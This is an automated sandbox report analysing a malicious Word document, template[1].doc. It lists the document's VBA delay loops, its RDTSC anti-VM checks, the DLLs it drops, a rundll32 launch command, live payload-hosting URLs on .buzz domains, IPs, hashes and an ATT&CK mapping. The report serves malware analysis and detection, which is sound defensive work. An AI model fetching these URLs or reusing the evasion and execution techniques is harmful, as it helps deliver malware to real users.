Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Document contains an embedded VBA which contains extensive loops (likely to delay execution)

Source: template[1].doc	Stream path 'VBA/ThisDocument' : For i = 1 To 405306368 j = i Next i
Source: ~DF3EAF6279D3B942E8.TMP.0.dr	Stream path 'VBA/ThisDocument' : For i = 1 To 405306368 j = i Next i For k

Tries to detect virtualization through RDTSC time measurements

Source: C:\Windows\System32\rundll32.exe

RDTSC instruction interceptor: First address: 000007FEF4734FAE second address: 000007FEF4734FBA instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 dec eax 0x0000000a mov ecx, eax 0x0000000c rdtsc

Source: C:\Windows\System32\taskeng.exe TID: 1688

Thread sleep time: -60000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Code function: 5_2_000007FEF4734F60 rdtsc

5_2_000007FEF4734F60

Source: C:\Windows\System32\rundll32.exe

API call chain: ExitProcess graph end node

graph_5-23404

Source: C:\Windows\System32\rundll32.exe

Code function: 5_2_000007FEF4747F74 __crtCaptureCurrentContext,IsDebuggerPresent,__crtUnhandledException,

5_2_000007FEF4747F74

Source: C:\Windows\System32\rundll32.exe

Code function: 5_2_000007FEF4754FD4 EncodePointer,__crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

5_2_000007FEF4754FD4

Source: C:\Windows\System32\rundll32.exe

Code function: 5_2_000007FEF4738BC0 LoadLibraryW,GetProcAddress,FreeLibrary,

5_2_000007FEF4738BC0

Source: C:\Windows\System32\rundll32.exe

Code function: 5_2_000007FEF4747B38 GetProcessHeap,

5_2_000007FEF4747B38

Source: C:\Windows\System32\rundll32.exe

Code function: 5_2_000007FEF4734F60 rdtsc

5_2_000007FEF4734F60

Source: C:\Windows\System32\rundll32.exe

Code function: 5_2_000007FEF47476B4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,

5_2_000007FEF47476B4

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe	Network Connect: 142.250.185.228 443	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Domain query: com.lightbuzear.buzz
Source: C:\Windows\System32\rundll32.exe	Network Connect: 64.52.80.180 443	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Domain query: www.google.com

Source: C:\Windows\System32\taskeng.exe

Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe "C:\Users\user\AppData\Local\Temp\dnrdfsi11023.dll",Rdwmnjioffws

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,_getptd,LcidFromHexString,GetLocaleInfoW,TestDefaultLanguage,	5_2_000007FEF4750D20
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	5_2_000007FEF4750E6C
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,GetLocaleInfoW,	5_2_000007FEF4750F1C
Source: C:\Windows\System32\rundll32.exe	Code function: __crtGetLocaleInfoA,GetLastError,__crtGetLocaleInfoA,_calloc_crt,__crtGetLocaleInfoA,_calloc_crt,__crtGetLocaleInfoEx,_calloc_crt,__crtGetLocaleInfoEx,__crtGetLocaleInfoEx,_invoke_watson,	5_2_000007FEF4746ECC
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,__crtGetLocaleInfoEx,__crtGetLocaleInfoEx,TestDefaultCountry,__crtGetLocaleInfoEx,TestDefaultCountry,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_getptd,__crtGetLocaleInfoEx,_invoke_watson,	5_2_000007FEF475000C
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,_getptd,TranslateName,GetLcidFromLangCountry,GetLcidFromLanguage,TranslateName,GetLcidFromLangCountry,GetLcidFromLanguage,_getptd,EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,__crtDownlevelLCIDToLocaleName,__crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,_itow_s,	5_2_000007FEF4750FC4
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,EnumSystemLocalesW,	5_2_000007FEF47509A8
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,EnumSystemLocalesW,	5_2_000007FEF4750A5C
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,_getptd,LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,TestDefaultLanguage,	5_2_000007FEF4750AF0
Source: C:\Windows\System32\rundll32.exe	Code function: EnumSystemLocalesW,	5_2_000007FEF47514AC
Source: C:\Windows\System32\rundll32.exe	Code function: __crtGetLocaleInfoEx,__crtGetLocaleInfoEx,GetACP,	5_2_000007FEF4750478
Source: C:\Windows\System32\rundll32.exe	Code function: __crtGetLocaleInfoEx,	5_2_000007FEF475052C
Source: C:\Windows\System32\rundll32.exe	Code function: __crtDownlevelLocaleNameToLCID,GetLocaleInfoW,	5_2_000007FEF475156C
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,TranslateName,GetLocaleNameFromLangCountry,GetLocaleNameFromLanguage,TranslateName,GetLocaleNameFromLangCountry,ProcessCodePage,IsValidCodePage,__crtGetLocaleInfoEx,__crtGetLocaleInfoEx,__crtGetLocaleInfoEx,_itow_s,GetLocaleNameFromLanguage,__crtGetUserDefaultLocaleName,_invoke_watson,_invoke_watson,_getptd,_getptd,LcidFromHexString,GetLocaleInfoW,	5_2_000007FEF4750630
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,__lc_wcstolc,__get_qualified_locale_downlevel,__get_qualified_locale,__lc_lctowcs,__crtGetLocaleInfoEx,GetACP,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,	5_2_000007FEF47456F4
Source: C:\Windows\System32\rundll32.exe	Code function: __crtGetLocaleInfoEx,malloc,__crtGetLocaleInfoEx,WideCharToMultiByte,	5_2_000007FEF47520B0
Source: C:\Windows\System32\rundll32.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	5_2_000007FEF475221C

Source: C:\Windows\System32\taskeng.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Code function: 5_2_000007FEF4743D80 GetSystemTimeAsFileTime,

5_2_000007FEF4743D80

Source: C:\Windows\System32\rundll32.exe

Code function: 5_2_000007FEF4749218 _lock,_get_daylight,_get_daylight,_get_daylight,___lc_codepage_func,_malloc_crt,_invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,

5_2_000007FEF4749218

Source: C:\Windows\System32\rundll32.exe

Code function: 5_2_000007FEF4736150 GetUserNameW,GetComputerNameW,

5_2_000007FEF4736150

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	22 Scripting	Path Interception	111 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Virtualization/Sandbox Evasion	LSASS Memory	14 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	3 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	33 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Deobfuscate/Decode Files or Information	NTDS	1 Account Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	22 Scripting	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	11 Obfuscated Files or Information	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Rundll32	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	114 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
template[1].doc	12%	Virustotal		Browse
template[1].doc	18%	Metadefender		Browse
template[1].doc	10%	ReversingLabs	Document-Office.Trojan.Heuristic
template[1].doc	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\dnrdfsi11023.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\~DF3EAF6279D3B942E8.TMP	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\wnitmpo.dll	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
com.lightbuzear.buzz	0%	Virustotal		Browse
worldoptions.buzz	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://worldoptions.buzz/agE7nqQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXIlz8vjv1TPmuyrc2yIu.mp4	2%	Virustotal		Browse
http://worldoptions.buzz/agE7nqQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXIlz8vjv1TPmuyrc2yIu.mp4	100%	Avira URL Cloud	malware
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://com.lightbuzear.buzz/	0%	Avira URL Cloud	safe
https://com.lightbuzear.buzz/Kolpt523ytcserstrew/torelEu	0%	Avira URL Cloud	safe
https://com.lightbuzear.buzz/Kolpt523ytcserstrew/torel1ci	0%	Avira URL Cloud	safe
http://worldoptions.buzz/agE7nqQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXIlz8vjv1TPmuyrc2yIu.png	100%	Avira URL Cloud	malware
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
https://com.lightbuzear.buzz/Kolpt523ytcserstrew/torel	0%	Avira URL Cloud	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.google.com	142.250.185.228	true	false		high
com.lightbuzear.buzz	64.52.80.180	true	true	0%, Virustotal, Browse	unknown
worldoptions.buzz	64.52.80.45	true	false	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://worldoptions.buzz/agE7nqQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXIlz8vjv1TPmuyrc2yIu.mp4	true	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.Google.com/	false		high
http://worldoptions.buzz/agE7nqQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXIlz8vjv1TPmuyrc2yIu.png	true	Avira URL Cloud: malware	unknown
https://com.lightbuzear.buzz/Kolpt523ytcserstrew/torel	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.entrust.net/server1.crl0	rundll32.exe, 00000005.00000002.1198625904.000000000028B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1198775167.0000000002FED000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net03	rundll32.exe, 00000005.00000002.1198625904.000000000028B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1198775167.0000000002FED000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://com.lightbuzear.buzz/	rundll32.exe, 00000005.00000002.1198794640.000000000300F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://com.lightbuzear.buzz/Kolpt523ytcserstrew/torelEu	rundll32.exe, 00000005.00000002.1198575987.0000000000215000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://com.lightbuzear.buzz/Kolpt523ytcserstrew/torel1ci	rundll32.exe, 00000005.00000002.1198775167.0000000002FED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.entrust.net0D	rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	rundll32.exe, 00000005.00000002.1198625904.000000000028B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/	rundll32.exe, 00000005.00000002.1198605277.0000000000250000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.entrust.net/2048ca.crl0	rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
64.52.80.45	worldoptions.buzz	United States	7029	WINDSTREAMUS	false
64.52.80.180	com.lightbuzear.buzz	United States	7029	WINDSTREAMUS	true

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	683638
Start date and time:	2022-08-14 08:38:11 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	template[1].doc
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.expl.evad.winDOC@4/13@3/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 99.9% (good quality ratio 81%) Quality average: 59.7% Quality standard deviation: 36.2%
HCA Information:	Successful, ratio: 100% Number of executed functions: 34 Number of non-executed functions: 35
Cookbook Comments:	Found application associated with file extension: .doc Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:38:36	API Interceptor	461x Sleep call for process: taskeng.exe modified
08:38:38	API Interceptor	1158x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
64.52.80.45	8SCdyagBIS.doc	Get hash	malicious	Browse	worldoptions.buzz/agE7nqQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXIlz8vjv1TPmuyrc2yIu.mp4
64.52.80.180	8SCdyagBIS.doc	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
com.lightbuzear.buzz	8SCdyagBIS.doc	Get hash	malicious	Browse	64.52.80.180
worldoptions.buzz	8SCdyagBIS.doc	Get hash	malicious	Browse	64.52.80.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
WINDSTREAMUS	8SCdyagBIS.doc	Get hash	malicious	Browse	64.52.80.180
	wyBNp1AOL0	Get hash	malicious	Browse	207.155.42.166
	O4l0WXHqpS	Get hash	malicious	Browse	75.91.102.29
	axP7RwrvyO	Get hash	malicious	Browse	216.26.247.226
	skid.arm	Get hash	malicious	Browse	64.91.128.214
	SecuriteInfo.com.Trojan.Linux.Generic.265194.31321.14271	Get hash	malicious	Browse	75.93.161.130
	lAd5Gs8bL8	Get hash	malicious	Browse	216.214.158.106
	of4NFNJ322	Get hash	malicious	Browse	66.7.38.147
	662474477.lnk	Get hash	malicious	Browse	64.52.80.26
	4Vx1znqiGL	Get hash	malicious	Browse	50.96.184.127
	YmG9mxwNXU	Get hash	malicious	Browse	66.55.226.29
	5SdA6MoxQu	Get hash	malicious	Browse	72.242.215.127
	kMrqa6xL3u	Get hash	malicious	Browse	66.217.172.45
	eHMSevd95N	Get hash	malicious	Browse	74.10.27.229
	aqua.spc	Get hash	malicious	Browse	40.142.139.105
	aqua.mips	Get hash	malicious	Browse	40.134.73.45
	mips	Get hash	malicious	Browse	205.185.50.243
	I95q6K4AMy	Get hash	malicious	Browse	209.86.96.6
	2DbzKHhgOH	Get hash	malicious	Browse	216.217.214.98
	YbuW0MHZo0	Get hash	malicious	Browse	97.67.48.156
WINDSTREAMUS	8SCdyagBIS.doc	Get hash	malicious	Browse	64.52.80.180
	wyBNp1AOL0	Get hash	malicious	Browse	207.155.42.166
	O4l0WXHqpS	Get hash	malicious	Browse	75.91.102.29
	axP7RwrvyO	Get hash	malicious	Browse	216.26.247.226
	skid.arm	Get hash	malicious	Browse	64.91.128.214
	SecuriteInfo.com.Trojan.Linux.Generic.265194.31321.14271	Get hash	malicious	Browse	75.93.161.130
	lAd5Gs8bL8	Get hash	malicious	Browse	216.214.158.106
	of4NFNJ322	Get hash	malicious	Browse	66.7.38.147
	662474477.lnk	Get hash	malicious	Browse	64.52.80.26
	4Vx1znqiGL	Get hash	malicious	Browse	50.96.184.127
	YmG9mxwNXU	Get hash	malicious	Browse	66.55.226.29
	5SdA6MoxQu	Get hash	malicious	Browse	72.242.215.127
	kMrqa6xL3u	Get hash	malicious	Browse	66.217.172.45
	eHMSevd95N	Get hash	malicious	Browse	74.10.27.229
	aqua.spc	Get hash	malicious	Browse	40.142.139.105
	aqua.mips	Get hash	malicious	Browse	40.134.73.45
	mips	Get hash	malicious	Browse	205.185.50.243
	I95q6K4AMy	Get hash	malicious	Browse	209.86.96.6
	2DbzKHhgOH	Get hash	malicious	Browse	216.217.214.98
	YbuW0MHZo0	Get hash	malicious	Browse	97.67.48.156

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
7dcce5b76c8b17472d024758970a406b	8SCdyagBIS.doc	Get hash	malicious	Browse	64.52.80.180 142.250.185.228
	nwes.org.uk HENDERSON TRUST BID PACKAGE pdf.htm	Get hash	malicious	Browse	64.52.80.180 142.250.185.228
	B86i0Iwc4H.docx	Get hash	malicious	Browse	64.52.80.180 142.250.185.228
	Pay-Inv-890765.htm	Get hash	malicious	Browse	64.52.80.180 142.250.185.228
	NEW ORDER EM067022.docx	Get hash	malicious	Browse	64.52.80.180 142.250.185.228
	ACH_WIRE REMITTANCE.xlsx	Get hash	malicious	Browse	64.52.80.180 142.250.185.228
	ACH_WIRE REMITTANCE.xlsx	Get hash	malicious	Browse	64.52.80.180 142.250.185.228
	ACH_WIRE REMITTANCE.xlsx	Get hash	malicious	Browse	64.52.80.180 142.250.185.228
	ACH_WIRE REMITTANCE.xlsx	Get hash	malicious	Browse	64.52.80.180 142.250.185.228
	ACH_WIRE REMITTANCE.xlsx	Get hash	malicious	Browse	64.52.80.180 142.250.185.228
	A_Ponudu 6885242958.docx	Get hash	malicious	Browse	64.52.80.180 142.250.185.228
	Q2_FECDRA Ponudu.docx	Get hash	malicious	Browse	64.52.80.180 142.250.185.228
	aaaaaaaaaaa.docx	Get hash	malicious	Browse	64.52.80.180 142.250.185.228
	Past Due Inv_#.xlsx	Get hash	malicious	Browse	64.52.80.180 142.250.185.228
	WCI Supply - Statement 09.08.2022.xlsx	Get hash	malicious	Browse	64.52.80.180 142.250.185.228
	050_CRT-00008643_11020220006120610000_signed.xls	Get hash	malicious	Browse	64.52.80.180 142.250.185.228
	QUOTE2022.xlsx	Get hash	malicious	Browse	64.52.80.180 142.250.185.228
	scanned Revised Annexure-IX.xlsx	Get hash	malicious	Browse	64.52.80.180 142.250.185.228
	040-CRT-00007296-11020220028317643000-signed.xls	Get hash	malicious	Browse	64.52.80.180 142.250.185.228
	080-CRT-00008056-11020220033730601000-signed.xls	Get hash	malicious	Browse	64.52.80.180 142.250.185.228

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
C:\Users\user\AppData\Local\Temp\wnitmpo.dll	8SCdyagBIS.doc	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\dnrdfsi11023.dll	8SCdyagBIS.doc	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\Windose.txt

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	64
Entropy (8bit):	5.015319531114784
Encrypted:	false
SSDEEP:	3:bSUsk4wyCkmqVzzSYvn7tRXMn:bnsSyNRVfS7n
MD5:	4384ECFFBEEE86478F501C6E0F37CA27
SHA1:	6F355A0907E58ACD208CA041E21FF8F4647EB2E0
SHA-256:	85BE85FEA84155D42C8C266F5F6E4F524AEEC2634FB4E5C0965DE4B22898D8FD
SHA-512:	4B6853293CB4775084457CF7FA8E8B525E5451BD0C3DDEE3C9E46208F5460342F893EAB18320374245A19BE03D10DA7C41CDC14A159086A39EE9333055D70CA8
Malicious:	false
Reputation:	low
Preview:	8vgS6wqIxCkSc+zEEkNg29ukmkCH7JpIObVw88DCgMYuCs75SuzhXb9OoIxt2JA8

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\OGHAYZZFhfCtspqorBFNYMrxHN7TXIlz8vjv1TPmuyrc2yIu[1].mp4

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	downloaded
Size (bytes):	378880
Entropy (8bit):	6.133046904552265
Encrypted:	false
SSDEEP:	6144:y3fcM8b4iC7bOWasINgY1CkOPvTqhPuUh+BUI1vKHB1pL:kC4iC7bOXNDWhdKHB/
MD5:	6693755302B08318B6F6AB67783AB07E
SHA1:	7EC3E1AE2AA7DD816D856A0BDF507D88E63F6B05
SHA-256:	7FD9CBA9618AABEEB94E88535BCA0466B6B8AB27C4CB3FC6142D093B21753A8F
SHA-512:	634E3DE2B6B2536F87A71DFD4E573BD6992BCFA5D26F2B64B74172DD0CD5CC7A0EE18DF1403D664EAB6E0A4967BBDFC5E12C5A424B38BF74294C82F12B37FC9D
Malicious:	false
Reputation:	low
IE Cache URL:	http://worldoptions.buzz/agE7nqQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXIlz8vjv1TPmuyrc2yIu.mp4
Preview:	asdf....................@...............................................!..L.!This program cannot be run in DOS mode....$.......%.uQa...a...a....q..`...'......'.......'...m....q..l...a.......l...h...l...`...l...`...l...`...Richa...........PE..d....[.b.........." ................@?.......................................0............`..........................................`..c...Da..................x3........... ..0.......................................p............................................text............................... ..`.rdata...].......^..................@..@.data...`T...p......\..............@....pdata..x3.......4..................@..@.rsrc...............................@..@.reloc..0.... ......................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\OGHAYZZFhfCtspqorBFNYMrxHN7TXIlz8vjv1TPmuyrc2yIu[1].png

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	downloaded
Size (bytes):	4981
Entropy (8bit):	6.247045973732636
Encrypted:	false
SSDEEP:	96:rMcaxwVGV0IC6eyLfEG2MMy/9OemtgSM1zJgpfM1zkm/mGM1zHmOM1z1moM1zimD:oBaGrREG2pgl2pg1mRei0k5j
MD5:	D4E39CC4B61F64C5A5BC497776D83395
SHA1:	C40642027D0D79325305842C24355C85DB7291FB
SHA-256:	637EF6D2A364E9667CCA305974A4A12DFD11B6D55AFE5A5A4F00AF58A98C62E8
SHA-512:	124DCED63E83F5A59D27548B46BEFF6762316BDDC332A9A4DEC35B5A5735B77B5480A3E95D8F9AE45E9CED4E98727391C58918266610856E06698E85ED669660
Malicious:	false
Reputation:	low
